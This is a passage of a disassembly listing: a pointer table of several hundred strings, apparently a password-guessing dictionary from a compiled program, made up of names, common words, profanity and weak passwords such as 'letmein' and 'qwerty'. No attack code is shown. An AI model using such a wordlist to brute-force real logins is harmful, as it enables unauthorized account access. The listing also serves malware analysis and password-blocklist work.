dd offset aBridget ; "bridget"
dd offset aBroadway ; "broadway"
dd offset aBrothel ; "brothel"
dd offset aBrunette ; "brunette"
dd offset aBrute ; "brute"
dd offset aBrutefor ; "brutefor"
dd offset aBulls ; "bulls"
dd offset aBullshit ; "bullshit"
dd offset aBumbling ; "bumbling"
dd offset aBung ; "bung"
dd offset aBurgess ; "burgess"
dd offset aBurn ; "burn"
dd offset aButch ; "butch"
dd offset aButt ; "butt"
dd offset aButthead ; "butthead"
dd offset aCaliforn ; "californ"
dd offset aCamille ; "camille"
dd offset aCampanil ; "campanil"
dd offset aCamping ; "camping"
dd offset aCandi ; "candi"
dd offset aCandy ; "candy"
dd offset aCantor ; "cantor"
dd offset aCaptain ; "captain"
dd offset aCapture ; "capture"
dd offset aCard ; "card"
dd offset aCardinal ; "cardinal"
dd offset aCaren ; "caren"
dd offset aCarla ; "carla"
dd offset aCarmen ; "carmen"
dd offset aCarol ; "carol"
dd offset aCarole ; "carole"
dd offset aCarolina ; "carolina"
dd offset aCaroline ; "caroline"
dd offset aCarrie ; "carrie"
dd offset aCarson ; "carson"
dd offset aCascades ; "cascades"
dd offset aCash ; "cash"
dd offset aCastle ; "castle"
dd offset aCatherin ; "catherin"
dd offset aCatholic ; "catholic"
dd offset aCathy ; "cathy"
dd offset aCave ; "cave"
dd offset aCayuga ; "cayuga"
dd offset aCecily ; "cecily"
dd offset aCelt ; "celt"
dd offset aCeltic ; "celtic"
dd offset aCeltics ; "celtics"
dd offset aCerulean ; "cerulean"
dd offset aChange ; "change"
dd offset aCharity ; "charity"
dd offset aCharles ; "charles"
dd offset aCharlie ; "charlie"
dd offset aCharming ; "charming"
dd offset aCharon ; "charon"
dd offset aChat ; "chat"
dd offset aChem ; "chem"
dd offset aChemistr ; "chemistr"
dd offset aChess ; "chess"
dd offset aChester ; "chester"
dd offset aChip ; "chip"
dd offset aChris ; "chris"
dd offset aChristin ; "christin"
dd offset aChristy ; "christy"
dd offset aCigar ; "cigar"
dd offset aCigarett ; "cigarett"
dd offset aCindy ; "cindy"
dd offset aClass ; "class"
dd offset aClasses ; "classes"
dd offset aClassic ; "classic"
dd offset aClaudia ; "claudia"
dd offset aClaymore ; "claymore"
dd offset aCleavage ; "cleavage"
dd offset aClinton ; "clinton"
dd offset aCluster ; "cluster"
dd offset aClusters ; "clusters"
dd offset aCoast ; "coast"
dd offset aCocacola ; "cocacola"
dd offset aCocainco ; "cocainco"
dd offset aCock ; "cock"
dd offset aCode ; "code"
dd offset aCodename ; "codename"
dd offset aCodeword ; "codeword"
dd offset aCoffee ; "coffee"
dd offset aCoin ; "coin"
dd offset aCoke ; "coke"
dd offset aCola ; "cola"
dd offset aCold ; "cold"
dd offset aCollins ; "collins"
dd offset aColor ; "color"
dd offset aCombat ; "combat"
dd offset aComics ; "comics"
dd offset aCommit ; "commit"
dd offset aCommrade ; "commrade"
dd offset aCompany ; "company"
dd offset aComputin ; "computin"
dd offset aComrade ; "comrade"
dd offset aComrades ; "comrades"
dd offset aCondo ; "condo"
dd offset aCondom ; "condom"
dd offset aConnect ; "connect"
dd offset aConnie ; "connie"
dd offset aConserva ; "conserva"
dd offset aConsole ; "console"
dd offset aContinue ; "continue"
dd offset aCook ; "cook"
dd offset aCookbook ; "cookbook"
dd offset aCookie ; "cookie"
dd offset aCool ; "cool"
dd offset aCooper ; "cooper"
dd offset aCopper ; "copper"
dd offset aCops ; "cops"
dd offset aCopy ; "copy"
dd offset aCorneliu ; "corneliu"
dd offset aCorrect ; "correct"
dd offset aCounters ; "counters"
dd offset aCountry ; "country"
dd offset aCouscous ; "couscous"
dd offset aCowboy ; "cowboy"
dd offset aCrack ; "crack"
dd offset aCrackpot ; "crackpot"
dd offset aCream ; "cream"
dd offset aCreate ; "create"
dd offset aCreation ; "creation"
dd offset aCreature ; "creature"
dd offset aCredit ; "credit"
dd offset aCreosote ; "creosote"
dd offset aCretin ; "cretin"
dd offset aCrime ; "crime"
dd offset aCriminal ; "criminal"
dd offset aCristina ; "cristina"
dd offset aCrystal ; "crystal"
dd offset aCshrc ; "cshrc"
dd offset aCunt ; "cunt"
dd offset aCustomer ; "customer"
dd offset aCyber ; "cyber"
dd offset aCyberpun ; "cyberpun"
dd offset aCyberspa ; "cyberspa"
dd offset aCynthia ; "cynthia"
dd offset aDaemon ; "daemon"
dd offset aDaisy ; "daisy"
dd offset aDana ; "dana"
dd offset aDancer ; "dancer"
dd offset aDaniel ; "daniel"
dd offset aDanielle ; "danielle"
dd offset aDanny ; "danny"
dd offset aDapper ; "dapper"
dd offset aDark ; "dark"
dd offset aDarkaven ; "darkaven"
dd offset aData ; "data"
dd offset aDave ; "dave"
dd offset aDawn ; "dawn"
dd offset aDead ; "dead"
dd offset aDeathsta ; "deathsta"
dd offset aDebbie ; "debbie"
dd offset aDeborah ; "deborah"
dd offset aDebug ; "debug"
dd offset aDecember ; "december"
dd offset aDeck ; "deck"
dd offset aDefault ; "default"
dd offset aDefault_0 ; "DEFAULT"
dd offset aDefoe ; "defoe"
dd offset aDelta ; "delta"
dd offset aDeluge ; "deluge"
dd offset aDemocrat ; "democrat"
dd offset aDenise ; "denise"
dd offset aDennis ; "dennis"
dd offset aDesiree ; "desiree"
dd offset aDesk ; "desk"
dd offset aDesktop ; "desktop"
dd offset aDesperat ; "desperat"
dd offset aDevelop ; "develop"
dd offset aDevice ; "device"
dd offset aDial ; "dial"
dd offset aDiamond ; "diamond"
dd offset aDiana ; "diana"
dd offset aDiane ; "diane"
dd offset aDice ; "dice"
dd offset aDick ; "dick"
dd offset aDiehard ; "diehard"
dd offset aDiet ; "diet"
dd offset aDieter ; "dieter"
dd offset aDigital ; "digital"
dd offset aDinosaur ; "dinosaur"
dd offset aDipshit ; "dipshit"
dd offset aDirect ; "direct"
dd offset aDirector ; "director"
dd offset aDirty ; "dirty"
dd offset aDisc ; "disc"
dd offset aDiscipli ; "discipli"
dd offset aDisclose ; "disclose"
dd offset aDiscover ; "discover"
dd offset aDisk_0 ; "disk"
dd offset aDiskette ; "diskette"
dd offset aDisney ; "disney"
dd offset aDisplay ; "display"
dd offset aDoctor ; "doctor"
dd offset aDollar ; "dollar"
dd offset aDong ; "dong"
dd offset aDoom ; "doom"
dd offset aDoom2 ; "doom2"
dd offset aDoomii ; "doomii"
dd offset aDoomsday ; "doomsday"
dd offset aDoonesbu ; "doonesbu"
dd offset aDoor ; "door"
dd offset aDoors ; "doors"
dd offset aDope ; "dope"
dd offset aDownload ; "download"
dd offset aDragon ; "dragon"
dd offset aDrdoom ; "drdoom"
dd offset aDrive ; "drive"
dd offset aDrought ; "drought"
dd offset aDuck ; "duck"
dd offset aDude ; "dude"
dd offset aDuelist ; "duelist"
dd offset aDuke ; "duke"
dd offset aDulce ; "dulce"
dd offset aDuncan ; "duncan"
dd offset aDungeon ; "dungeon"
dd offset aDyke ; "dyke"
dd offset aEager ; "eager"
dd offset aEagle ; "eagle"
dd offset aEarth ; "earth"
dd offset aEasier ; "easier"
dd offset aEasy ; "easy"
dd offset aEatme ; "eatme"
dd offset aEcho ; "echo"
dd offset aEddie ; "eddie"
dd offset aEdges ; "edges"
dd offset aEdinburg ; "edinburg"
dd offset aEdit ; "edit"
dd offset aEdition ; "edition"
dd offset aEducation ; "education"
dd offset aEducatio ; "educatio"
dd offset aEdwin ; "edwin"
dd offset aEdwina ; "edwina"
dd offset aEgghead ; "egghead"
dd offset aEiderdow ; "eiderdow"
dd offset aEileen ; "eileen"
dd offset aEinsiein ; "einsiein"
dd offset aEinstein ; "einstein"
dd offset aElaine ; "elaine"
dd offset aElanor ; "elanor"
dd offset aElectron ; "electron"
dd offset aElephant ; "elephant"
dd offset aElizabet ; "elizabet"
dd offset aEllen ; "ellen"
dd offset aEmail ; "email"
dd offset aEmerald ; "emerald"
dd offset aEmily ; "emily"
dd offset aEmmanuel ; "emmanuel"
dd offset aEnemy ; "enemy"
dd offset aEngine ; "engine"
dd offset aEngineer ; "engineer"
dd offset aEngland ; "england"
dd offset aEnglish ; "english"
dd offset aEnter ; "enter"
dd offset aEnterpri ; "enterpri"
dd offset aEnzyme ; "enzyme"
dd offset aErenity ; "erenity"
dd offset aEric ; "eric"
dd offset aErica ; "erica"
dd offset aErika ; "erika"
dd offset aErin ; "erin"
dd offset aErotic ; "erotic"
dd offset aErsatz ; "ersatz"
dd offset aEstablis ; "establis"
dd offset aEstate ; "estate"
dd offset aEternity ; "eternity"
dd offset aEuclid ; "euclid"
dd offset aEvelyn ; "evelyn"
dd offset aExpert ; "expert"
dd offset aExplode ; "explode"
dd offset aExplore ; "explore"
dd offset aExplorer ; "explorer"
dd offset aExplosiv ; "explosiv"
dd offset aExtensio ; "extensio"
dd offset aFairway ; "fairway"
dd offset aFaith ; "faith"
dd offset aFalcon ; "falcon"
dd offset aFalse ; "false"
dd offset aFamily ; "family"
dd offset aFarad ; "farad"
dd offset aFaraday ; "faraday"
dd offset aFart ; "fart"
dd offset aFast ; "fast"
dd offset aFear ; "fear"
dd offset aFeds ; "feds"
dd offset aFelicia ; "felicia"
dd offset aFender ; "fender"
dd offset aFermat ; "fermat"
dd offset aFerrari ; "ferrari"
dd offset aFidelity ; "fidelity"
dd offset aField ; "field"
dd offset aFight ; "fight"
dd offset aFile ; "file"
dd offset aFinite ; "finite"
dd offset aFire ; "fire"
dd offset aFirewall ; "firewall"
dd offset aFishers ; "fishers"
dd offset aFlakes ; "flakes"
dd offset aFloat ; "float"
dd offset aFlorida ; "florida"
dd offset aFlower ; "flower"
dd offset aFlowers ; "flowers"
dd offset aFood ; "food"
dd offset aFool ; "fool"
dd offset aFoolproo ; "foolproo"
dd offset aFootball ; "football"
dd offset aForce ; "force"
dd offset aFord ; "ford"
dd offset aForesigh ; "foresigh"
dd offset aForever ; "forever"
dd offset aForm ; "form"
dd offset aFormat ; "format"
dd offset aFornicat ; "fornicat"
dd offset aForsythe ; "forsythe"
dd offset aFourier ; "fourier"
dd offset aFoxtrot ; "foxtrot"
dd offset aFrance ; "france"
dd offset aFrank ; "frank"
dd offset aFreak ; "freak"
dd offset aFred ; "fred"
dd offset aFree ; "free"
dd offset aFreedom ; "freedom"
dd offset aFrench ; "french"
dd offset aFriday ; "friday"
dd offset aFriend ; "friend"
dd offset aFriends ; "friends"
dd offset aFrighten ; "frighten"
dd offset aFrog ; "frog"
dd offset aFryguy ; "fryguy"
dd offset aFuck ; "fuck"
dd offset aFucker ; "fucker"
dd offset aFucking ; "fucking"
dd offset aFuckme ; "fuckme"
dd offset aFuckyou ; "fuckyou"
dd offset aFudge ; "fudge"
dd offset aFunction ; "function"
dd offset aFungible ; "fungible"
dd offset aGabriel ; "gabriel"
dd offset aGames ; "games"
dd offset aGardner ; "gardner"
dd offset aGarfield ; "garfield"
dd offset aGateway ; "gateway"
dd offset aGatherin ; "gatherin"
dd offset aGatt ; "gatt"
dd offset aGauss ; "gauss"
dd offset aGeorge ; "george"
dd offset aGerm ; "germ"
dd offset aGertrude ; "gertrude"
dd offset aGhost ; "ghost"
dd offset aGibson ; "gibson"
dd offset aGigabyte ; "gigabyte"
dd offset aGina ; "gina"
dd offset aGinger ; "ginger"
dd offset aGirl ; "girl"
dd offset aGlacier ; "glacier"
dd offset aGold ; "gold"
dd offset aGolden ; "golden"
dd offset aGolf ; "golf"
dd offset aGolfer ; "golfer"
dd offset aGood ; "good"
dd offset aGorgeous ; "gorgeous"
dd offset aGorges ; "gorges"
dd offset aGosling ; "gosling"
dd offset aGouge ; "gouge"
dd offset aGovermen ; "govermen"
dd offset aGrades ; "grades"
dd offset aGraham ; "graham"
dd offset aGrahm ; "grahm"
dd offset aGrand ; "grand"
dd offset aGrant ; "grant"
dd offset aGreat ; "great"
dd offset aGreen ; "green"
dd offset aGroup ; "group"
dd offset aGryphon ; "gryphon"
dd offset aGuardian ; "guardian"
dd offset aGucci ; "gucci"
dd offset aGuess ; "guess"
dd offset aGuitar ; "guitar"
dd offset aGumption ; "gumption"
dd offset aGuntis ; "guntis"
dd offset aHack ; "hack"
dd offset aHacked ; "hacked"
dd offset aHagar ; "hagar"
dd offset aHair ; "hair"
dd offset aHallowee ; "hallowee"
dd offset aHamlet ; "hamlet"
dd offset aHamster ; "hamster"
dd offset aHandel ; "handel"
dd offset aHandily ; "handily"
dd offset aHandjob ; "handjob"
dd offset aHappenin ; "happenin"
dd offset aHard ; "hard"
dd offset aHardcore ; "hardcore"
dd offset aHarddriv ; "harddriv"
dd offset aHarmony ; "harmony"
dd offset aHarold ; "harold"
dd offset aHarvey ; "harvey"
dd offset aHate ; "hate"
dd offset aHaven ; "haven"
dd offset aHawaii ; "hawaii"
dd offset aHead ; "head"
dd offset aHeadbang ; "headbang"
dd offset aHeat ; "heat"
dd offset aHeathen ; "heathen"
dd offset aHeather ; "heather"
dd offset aHebrides ; "hebrides"
dd offset aHeidi ; "heidi"
dd offset aHeinlein ; "heinlein"
dd offset aHell ; "hell"
dd offset aHello ; "hello"
dd offset aHelp ; "help"
dd offset aHerb ; "herb"
dd offset aHerbert ; "herbert"
dd offset aHero ; "hero"
dd offset aHeroin ; "heroin"
dd offset aHewlett ; "hewlett"
dd offset aHexadeci ; "hexadeci"
dd offset aHiawatha ; "hiawatha"
dd offset aHibernia ; "hibernia"
dd offset aHidden ; "hidden"
dd offset aHigh ; "high"
dd offset aHighland ; "highland"
dd offset aHitler ; "hitler"
dd offset aHits ; "hits"
dd offset aHole ; "hole"
dd offset aHolly ; "holly"
dd offset aHollywoo ; "hollywoo"
dd offset aHomepage ; "homepage"
dd offset aHomer ; "homer"
dd offset aHomework ; "homework"
dd offset aHoney ; "honey"
dd offset aHooker ; "hooker"
dd offset aHooters ; "hooters"
dd offset aHorny ; "horny"
dd offset aHorrible ; "horrible"
dd offset aHorror ; "horror"
dd offset aHorse ; "horse"
dd offset aHorus ; "horus"
dd offset aHost ; "host"
dd offset aHotdog ; "hotdog"
dd offset aHotel ; "hotel"
dd offset aHttp ; "http"
dd offset aHunt ; "hunt"
dd offset aHunter ; "hunter"
dd offset aHutchins ; "hutchins"
dd offset aHydrogen ; "hydrogen"
dd offset aHyper ; "hyper"
dd offset aHypertxt ; "hypertxt"
dd offset aIcecream ; "icecream"
dd offset aIllumina ; "illumina"
dd offset aImage ; "image"
dd offset aImbrogli ; "imbrogli"
dd offset aImmortal ; "immortal"
dd offset aImperial ; "imperial"
dd offset aInclude ; "include"
dd offset aIndia ; "india"
dd offset aIndian ; "indian"
dd offset aIndiana ; "indiana"
dd offset aIndians ; "indians"
dd offset aIngres ; "ingres"
dd offset aIngress ; "ingress"
dd offset aIngrid ; "ingrid"
dd offset aInna ; "inna"
dd offset aInnocuou ; "innocuou"
dd offset aInput ; "input"
dd offset aInside ; "inside"
dd offset aInteger ; "integer"
dd offset aInvent ; "invent"
dd offset aIrene ; "irene"
dd offset aIrishman ; "irishman"
dd offset aIsis ; "isis"
dd offset aJackie ; "jackie"
dd offset aJail ; "jail"
dd offset aJane ; "jane"
dd offset aJanet ; "janet"
dd offset aJanice ; "janice"
dd offset aJanie ; "janie"
dd offset aJapan ; "japan"
dd offset aJasmin ; "jasmin"
dd offset aJava ; "java"
dd offset aJazz ; "jazz"
dd offset aJean ; "jean"
dd offset aJeanne ; "jeanne"
dd offset aJeff ; "jeff"
dd offset aJenni ; "jenni"
dd offset aJennifer ; "jennifer"
dd offset aJenny ; "jenny"
dd offset aJerry ; "jerry"
dd offset aJerusale ; "jerusale"
dd offset aJessica ; "jessica"
dd offset aJester ; "jester"
dd offset aJewelry ; "jewelry"
dd offset aJill ; "jill"
dd offset aJixian ; "jixian"
dd offset aJoanne ; "joanne"
dd offset aJody ; "jody"
dd offset aJohn ; "john"
dd offset aJohndoe ; "johndoe"
dd offset aJohnny ; "johnny"
dd offset aJoseph ; "joseph"
dd offset aJoshua ; "joshua"
dd offset aJournal ; "journal"
dd offset aJoyce ; "joyce"
dd offset aJudith ; "judith"
dd offset aJudy ; "judy"
dd offset aJuggle ; "juggle"
dd offset aJuicy ; "juicy"
dd offset aJulia ; "julia"
dd offset aJulie ; "julie"
dd offset aJuliet ; "juliet"
dd offset aJune ; "june"
dd offset aJupiter ; "jupiter"
dd offset aKaka ; "kaka"
dd offset aKaren ; "karen"
dd offset aKarie ; "karie"
dd offset aKarina ; "karina"
dd offset aKatana ; "katana"
dd offset aKate ; "kate"
dd offset aKathleen ; "kathleen"
dd offset aKathrine ; "kathrine"
dd offset aKathy ; "kathy"
dd offset aKatina ; "katina"
dd offset aKatrina ; "katrina"
dd offset aKelly ; "kelly"
dd offset aKeri ; "keri"
dd offset aKermit ; "kermit"
dd offset aKernel ; "kernel"
dd offset aKerri ; "kerri"
dd offset aKerrie ; "kerrie"
dd offset aKerry ; "kerry"
dd offset aKevin ; "kevin"
dd offset aKewl ; "kewl"
dd offset aKeybord ; "keybord"
dd offset aKeyin ; "keyin"
dd offset aKeyword ; "keyword"
dd offset aKids ; "kids"
dd offset aKill ; "kill"
dd offset aKillthem ; "killthem"
dd offset aKilo ; "kilo"
dd offset aKimberly ; "kimberly"
dd offset aKing ; "king"
dd offset aKirk ; "kirk"
dd offset aKirkland ; "kirkland"
dd offset aKiss ; "kiss"
dd offset aKissmyas ; "kissmyas"
dd offset aKitten ; "kitten"
dd offset aKlingon ; "klingon"
dd offset aKnife ; "knife"
dd offset aKnight ; "knight"
dd offset aKnightma ; "knightma"
dd offset aKnown ; "known"
dd offset aKrista ; "krista"
dd offset aKristen ; "kristen"
dd offset aKristi ; "kristi"
dd offset aKristie ; "kristie"
dd offset aKristin ; "kristin"
dd offset aKristine ; "kristine"
dd offset aKristy ; "kristy"
dd offset aLadies ; "ladies"
dd offset aLadle ; "ladle"
dd offset aLakers ; "lakers"
dd offset aLambda ; "lambda"
dd offset aLaminati ; "laminati"
dd offset aLana ; "lana"
dd offset aLaptop ; "laptop"
dd offset aLara ; "lara"
dd offset aLarkin ; "larkin"
dd offset aLarry ; "larry"
dd offset aLaser ; "laser"
dd offset aLaura ; "laura"
dd offset aLava ; "lava"
dd offset aLazarus ; "lazarus"
dd offset aLazer ; "lazer"
dd offset aLeah ; "leah"
dd offset aLebesgue ; "lebesgue"
dd offset aLeft ; "left"
dd offset aLeftwing ; "leftwing"
dd offset aLegal ; "legal"
dd offset aLeland ; "leland"
dd offset aLeroy ; "leroy"
dd offset aLesbian ; "lesbian"
dd offset aLeslie ; "leslie"
dd offset aLetmein ; "letmein"
dd offset aLewis ; "lewis"
dd offset aLexluthe ; "lexluthe"
dd offset aLiberal ; "liberal"
dd offset aLibrary ; "library"
dd offset aLick ; "lick"
dd offset aLicker ; "licker"
dd offset aLife ; "life"
dd offset aLight ; "light"
dd offset aLightsab ; "lightsab"
dd offset aLima ; "lima"
dd offset aLimbaugh ; "limbaugh"
dd offset aLimited ; "limited"
dd offset aLinda ; "linda"
dd offset aLink ; "link"
dd offset aLion ; "lion"
dd offset aLips ; "lips"
dd offset aLisa ; "lisa"
dd offset aLisp ; "lisp"
dd offset aLiteratu ; "literatu"
dd offset aLive ; "live"
dd offset aLoad ; "load"
dd offset aLock ; "lock"
dd offset aLockout ; "lockout"
dd offset aLockword ; "lockword"
dd offset aLogic ; "logic"
dd offset aLoginwor ; "loginwor"
dd offset aLogout ; "logout"
dd offset aLois ; "lois"
dd offset aLolopc ; "lolopc"
dd offset aLoose ; "loose"
dd offset aLore ; "lore"
dd offset aLori ; "lori"
dd offset aLorin ; "lorin"
dd offset aLorraine ; "lorraine"
dd offset aLoser ; "loser"
dd offset aLouis ; "louis"
dd offset aLovebug ; "lovebug"
dd offset aLover ; "lover"
dd offset aLuck ; "luck"
dd offset aLucus ; "lucus"
dd offset aLucy ; "lucy"
dd offset aLude ; "lude"
dd offset aLuke ; "luke"
dd offset aLust ; "lust"
dd offset aLynn ; "lynn"
dd offset aLynne ; "lynne"
dd offset aMachine ; "machine"
dd offset aMacintos ; "macintos"
dd offset aMack ; "mack"
dd offset aMacro ; "macro"
dd offset aMaggot ; "maggot"
dd offset aMagic ; "magic"
dd offset aMagnet ; "magnet"
dd offset aMail ; "mail"
dd offset aMaint ; "maint"
dd offset aMalcolm ; "malcolm"
dd offset aMalcom ; "malcom"
dd offset aMana ; "mana"
dd offset aManager ; "manager"
dd offset aMara ; "mara"
dd offset aMarci ; "marci"
dd offset aMarcy ; "marcy"
dd offset aMaria ; "maria"
dd offset aMariens ; "mariens"
dd offset aMarietta ; "marietta"
dd offset aMarijuan ; "marijuan"
dd offset aMarines ; "marines"
dd offset aMark ; "mark"
dd offset aMarkus ; "markus"
dd offset aMarni ; "marni"
dd offset aMarriage ; "marriage"
dd offset aMars ; "mars"
dd offset aMarty ; "marty"
dd offset aMarvin ; "marvin"
dd offset aMary ; "mary"
dd offset aMason ; "mason"
dd offset aMaster ; "master"
dd offset aMath ; "math"
dd offset aMaurice ; "maurice"
dd offset aMeagan ; "meagan"
dd offset aMegabyte ; "megabyte"
dd offset aMegadeth ; "megadeth"
dd offset aMegan ; "megan"
dd offset aMelissa ; "melissa"
dd offset aMellon ; "mellon"
dd offset aMelrose ; "melrose"
dd offset aMember ; "member"
dd offset aMemory ; "memory"
dd offset aMenace ; "menace"
dd offset aMenu ; "menu"
dd offset aMercury ; "mercury"
dd offset aMerlin ; "merlin"
dd offset aMetal ; "metal"
dd offset aMetalhea ; "metalhea"
dd offset aMetalica ; "metalica"
dd offset aMets ; "mets"
dd offset aMice ; "mice"
dd offset aMichael ; "michael"
dd offset aMichel ; "michel"
dd offset aMichelan ; "michelan"
dd offset aMichele ; "michele"
dd offset aMichelle ; "michelle"
dd offset aMickey ; "mickey"
dd offset aMicro ; "micro"
dd offset aMicrochi ; "microchi"
dd offset aMicropro ; "micropro"
dd offset aMicrosof ; "microsof"
dd offset aMidieval ; "midieval"
dd offset aMike ; "mike"
dd offset aMine ; "mine"
dd offset aMinimum ; "minimum"
dd offset aMinsky ; "minsky"
dd offset aMisfit ; "misfit"
dd offset aMission ; "mission"
dd offset aMkii ; "mkii"
dd offset aMode ; "mode"
dd offset aModem ; "modem"
dd offset aMogul ; "mogul"
dd offset aMoguls ; "moguls"
dd offset aMonday ; "monday"
dd offset aMonica ; "monica"
dd offset aMoom ; "moom"
dd offset aMoor ; "moor"
dd offset aMoose ; "moose"
dd offset aMore ; "more"
dd offset aMorley ; "morley"
dd offset aMorris ; "morris"
dd offset aMortal ; "mortal"
dd offset aMortalco ; "mortalco"
dd offset aMortgage ; "mortgage"
dd offset aMosaic ; "mosaic"
dd offset aMountain ; "mountain"
dd offset aMouse ; "mouse"
dd offset aMove ; "move"
dd offset aMovie ; "movie"
dd offset aMovies ; "movies"
dd offset aMozart ; "mozart"
dd offset aMpeg ; "mpeg"
dd offset aMsdos ; "msdos"
dd offset aMuppets ; "muppets"
dd offset aMutant ; "mutant"
dd offset aNagel ; "nagel"
dd offset aName ; "name"
dd offset aNancy ; "nancy"
dd offset aNapoleon ; "napoleon"
dd offset aNasa ; "nasa"
dd offset aNavy ; "navy"
dd offset aNepenthe ; "nepenthe"
dd offset aNeptune ; "neptune"
dd offset aNess ; "ness"
dd offset aNetscape ; "netscape"
dd offset aNetwork_0 ; "network"
dd offset aNewborn ; "newborn"
dd offset aNews ; "news"
dd offset aNewsgrou ; "newsgrou"
dd offset aNewton ; "newton"
dd offset aNewyork ; "newyork"
dd offset aNext ; "next"
dd offset aNice ; "nice"
dd offset aNicole ; "nicole"
dd offset aNicotine ; "nicotine"
dd offset aNight ; "night"
dd offset aNightmar ; "nightmar"
dd offset aNintendo ; "nintendo"
dd offset aNita ; "nita"
dd offset aNnaacp ; "nnaacp"
dd offset aNoble ; "noble"
dd offset aNobody ; "nobody"
dd offset aNode ; "node"
dd offset aNoreen ; "noreen"
dd offset aNotes ; "notes"
dd offset aNoth ; "noth"
dd offset aNova ; "nova"
dd offset aNovel ; "novel"
dd offset aNovember ; "november"
dd offset aNoxious ; "noxious"
dd offset aNuclear ; "nuclear"
dd offset aNude ; "nude"
dd offset aNuke ; "nuke"
dd offset aNukem ; "nukem"
dd offset aNull_1 ; "null"
dd offset aNumber ; "number"
dd offset aNutritio ; "nutritio"
dd offset aNuts ; "nuts"
dd offset aNyquist ; "nyquist"
dd offset aObscurit ; "obscurit"
dd offset aOceanogr ; "oceanogr"
dd offset aOcelot ; "ocelot"
dd offset aOffice ; "office"
dd offset aOkay ; "okay"
dd offset aOldage ; "oldage"
dd offset aOlivetti ; "olivetti"
dd offset aOlivia ; "olivia"
dd offset aOmega ; "omega"
dd offset aOpen ; "open"
dd offset aOpening ; "opening"
dd offset aOpenlock ; "openlock"
dd offset aOpensesa ; "opensesa"
dd offset aOperator ; "operator"
dd offset aOrca ; "orca"
dd offset aOrient ; "orient"
dd offset aOrwell ; "orwell"
dd offset aOscar ; "oscar"
dd offset aOsiris ; "osiris"
dd offset aOutdoors ; "outdoors"
dd offset aOutlaw ; "outlaw"
dd offset aOutput ; "output"
dd offset aOutside ; "outside"
dd offset aOxford ; "oxford"
dd offset aPacific ; "pacific"
dd offset aPackard ; "packard"
dd offset aPacker ; "packer"
dd offset aPainless ; "painless"
dd offset aPaint ; "paint"
dd offset aPakistan ; "pakistan"
dd offset aPamela ; "pamela"
dd offset aPapa ; "papa"
dd offset aPaper ; "paper"
dd offset aPapers ; "papers"
dd offset aPascal ; "pascal"
dd offset aPassphra ; "passphra"
dd offset aPaste ; "paste"
dd offset aPatricia ; "patricia"
dd offset aPatriot ; "patriot"
dd offset aPatty ; "patty"
dd offset aPaula ; "paula"
dd offset aPeanuts ; "peanuts"
dd offset aPecker ; "pecker"
dd offset aPencil ; "pencil"
dd offset aPenelope ; "penelope"
dd offset aPenguin ; "penguin"
dd offset aPenis ; "penis"
dd offset aPenname ; "penname"
dd offset aPentagon ; "pentagon"
dd offset aPentagra ; "pentagra"
dd offset aPenthous ; "penthous"
dd offset aPentium ; "pentium"
dd offset aPeoria ; "peoria"
dd offset aPepper ; "pepper"
dd offset aPercolat ; "percolat"
dd offset aPerfect ; "perfect"
dd offset aPermit ; "permit"
dd offset aPersimmo ; "persimmo"
dd offset aPersona ; "persona"
dd offset aPervert ; "pervert"
dd offset aPete ; "pete"
dd offset aPeter ; "peter"
dd offset aPhil ; "phil"
dd offset aPhilip ; "philip"
dd offset aPhoenix ; "phoenix"
dd offset aPhone ; "phone"
dd offset aPhoton ; "photon"
dd offset aPhrack ; "phrack"
dd offset aPhrase ; "phrase"
dd offset aPhreak ; "phreak"
dd offset aPhuck ; "phuck"
dd offset aPick ; "pick"
dd offset aPierre ; "pierre"
dd offset aPimp ; "pimp"
dd offset aPinname ; "pinname"
dd offset aPiss ; "piss"
dd offset aPizza ; "pizza"
dd offset aPlane ; "plane"
dd offset aPlayboy ; "playboy"
dd offset aPlover ; "plover"
dd offset aPluto ; "pluto"
dd offset aPlymouth ; "plymouth"
dd offset aPoetry ; "poetry"
dd offset aPolice ; "police"
dd offset aPolly ; "polly"
dd offset aPolynomi ; "polynomi"
dd offset aPonderin ; "ponderin"
dd offset aPoop ; "poop"
dd offset aPoor ; "poor"
dd offset aPork ; "pork"
dd offset aPorn ; "porn"
dd offset aPorno ; "porno"
dd offset aPorsche ; "porsche"
dd offset aPost ; "post"
dd offset aPoster ; "poster"
dd offset aPower ; "power"
dd offset aPraise ; "praise"
dd offset aPrecious ; "precious"
dd offset aPrelude ; "prelude"
dd offset aPresto ; "presto"
dd offset aPrince ; "prince"
dd offset aPrinceto ; "princeto"
dd offset aPrinter ; "printer"
dd offset aPriv ; "priv"
dd offset aPrivate ; "private"
dd offset aPrivs ; "privs"
dd offset aProceed ; "proceed"
dd offset aProcesso ; "processo"
dd offset aProfesso ; "professo"
dd offset aProfile ; "profile"
dd offset aProgram ; "program"
dd offset aPrompt ; "prompt"
dd offset aProtect ; "protect"
dd offset aProtozoa ; "protozoa"
dd offset aPsycho ; "psycho"
dd offset aPsychopa ; "psychopa"
dd offset aPublic ; "public"
dd offset aPuck ; "puck"
dd offset aPuke ; "puke"
dd offset aPumpkin ; "pumpkin"
dd offset aPuneet ; "puneet"
dd offset aPunisher ; "punisher"
dd offset aPunk ; "punk"
dd offset aPuppet ; "puppet"
dd offset aPussy ; "pussy"
dd offset aQuebec ; "quebec"
dd offset aQwert ; "qwert"
dd offset aQwerty ; "qwerty"
dd offset aRabbit ; "rabbit"
dd offset aRachel ; "rachel"
dd offset aRachelle ; "rachelle"
dd offset aRachmani ; "rachmani"
dd offset aRaid ; "raid"
dd offset aRain ; "rain"
dd offset aRainbow ; "rainbow"
dd offset aRaindrop ; "raindrop"
dd offset aRaleigh ; "raleigh"
dd offset aRandom ; "random"
dd offset aRape ; "rape"
dd offset aRascal ; "rascal"
dd offset aRazor ; "razor"
dd offset aReagan ; "reagan"
dd offset aReality ; "reality"
dd offset aReally ; "really"
dd offset aReam ; "ream"
dd offset aReaper ; "reaper"
dd offset aRebal ; "rebal"
dd offset aRebecca ; "rebecca"
dd offset aRebel ; "rebel"
dd offset aRecord ; "record"
dd offset aReddawn ; "reddawn"
dd offset aRedhead ; "redhead"
dd offset aReferenc ; "referenc"
dd offset aRegional ; "regional"
dd offset aRelease ; "release"
dd offset aRemote ; "remote"
dd offset aRenee ; "renee"
dd offset aReno ; "reno"
dd offset aRent ; "rent"
dd offset aReport ; "report"
dd offset aRepublic ; "republic"
dd offset aResistan ; "resistan"
dd offset aReveal ; "reveal"
dd offset aRhino ; "rhino"
dd offset aRich ; "rich"
dd offset aRick ; "rick"
dd offset aRiffraff ; "riffraff"
dd offset aRight ; "right"
dd offset aRightwin ; "rightwin"
dd offset aRing ; "ring"
dd offset aRiot ; "riot"
dd offset aRipple ; "ripple"
dd offset aRisc ; "risc"
